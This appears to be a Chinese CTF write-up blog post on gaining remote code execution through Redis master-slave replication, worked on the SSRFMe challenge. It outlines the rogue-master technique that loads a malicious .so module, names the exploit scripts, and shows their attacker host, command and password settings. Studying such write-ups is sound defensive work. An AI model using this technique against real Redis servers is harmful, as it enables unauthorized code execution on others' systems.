Redis主从复制实现RCE

文章目录

  • 前置知识
    • 概念
    • redis module
  • 利用条件
  • 利用工具
  • 思路
  • 例题 [网鼎杯 2020 玄武组]SSRFMe


前置知识

概念

背景是多台服务器要保存同一份数据,如何实现其一致性呢?数据的读写操作是否每台服务器都可以处理?这里Redis就提供了主从复制的模式来避免此问题

主从复制是指将一台Redis主服务器的数据,复制到其他的Redis从服务器。前者称为主节点(master),后者称为从节点(slave);

主服务器可以进行读写操作,当发生写操作时自动将写操作同步给从服务器,而从服务器一般是只读,并接受主服务器同步过来写操作命令,然后执行这条命令。
Redis主从复制实现RCE_第1张图片也就是说,所有的数据修改只在主服务器上进行,然后将最新的数据同步给从服务器,这样就使得主从服务器的数据是一致的。

建立主从复制,有3种方式:

  1. 配置文件写入 slaveof
  2. redis-server启动命令后加入 --slaveof
  3. 连接到客户端之后执行:slaveof

PS:建立主从关系只需要在从节点操作就行了,主节点不用任何操作

我们先在同一个机器开两个redis实例,一个端口为6379,一个端口为6380
我们把master_ip设置为127.0.0.1,master_port为6380

root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> SLAVEOF 127.0.0.1 6380
OK
127.0.0.1:6379> get test
(nil)
127.0.0.1:6379> exit
root@kali:/usr/bin# redis-cli -p 6380
127.0.0.1:6380> get test
(nil)
127.0.0.1:6380> set test "test"
OK
127.0.0.1:6380> get test
"test"
127.0.0.1:6380> exit
root@kali:/usr/bin# redis-cli -p 6379
127.0.0.1:6379> get test
"test"

我们可以明显看到数据达到了同步的效果

redis module

自从Redis4.x之后redis新增了一个模块功能,Redis模块可以使用外部模块扩展Redis功能,以一定的速度实现新的Redis命令,并具有类似于核心内部可以完成的功能。 Redis模块是动态库,可以在启动时或使用MODULE LOAD命令加载到Redis中。

利用条件

能未授权或者能通过弱口令认证访问到Redis服务器

利用工具

工具一
使用条件

ssrf-redis.py : python2.x 3.x
rogue-server.py : python2.x

工具二
使用条件

redis-rogue-server.py : python3.5以上

备注:工具一的使用需要把工具二的exp.so复制到该目录下

思路

了解完redis的主从复制的相关知识后我们可以尝试如何实现RCE

某个目标靶机存在ssrf漏洞,我们可以自己搭建一个redis服务器作为目标靶机的主服务器,也就是说我们在redis服务器恶意构造.so文件,通过主从复制的模式到该目标靶机实现RCE

例题 [网鼎杯 2020 玄武组]SSRFMe

我们已知密码为root,利用工具一,服务器为buu的
修改ssrf-redis.py

elif mode==3:
	lhost="10.244.80.129"
	lport="6666"
	command="id"

ip="0.0.0.0"  #绕过题目检测
port="6379"  #默认端口

passwd = 'root' 

然后复制到buu的服务器上
Redis主从复制实现RCE_第2张图片
然后运行得到payload

python ssrf-redis.py

Redis主从复制实现RCE_第3张图片然后url编码一下(如果是bp的话就不用)
在buu服务器启动redis rogue server, 让我们主服务器接受题目redis的连接

python rogue-server.py

传入payload
Redis主从复制实现RCE_第4张图片不过题目环境有点问题只能作罢

你可能感兴趣的:(redis,bootstrap,数据库,web安全,安全,学习)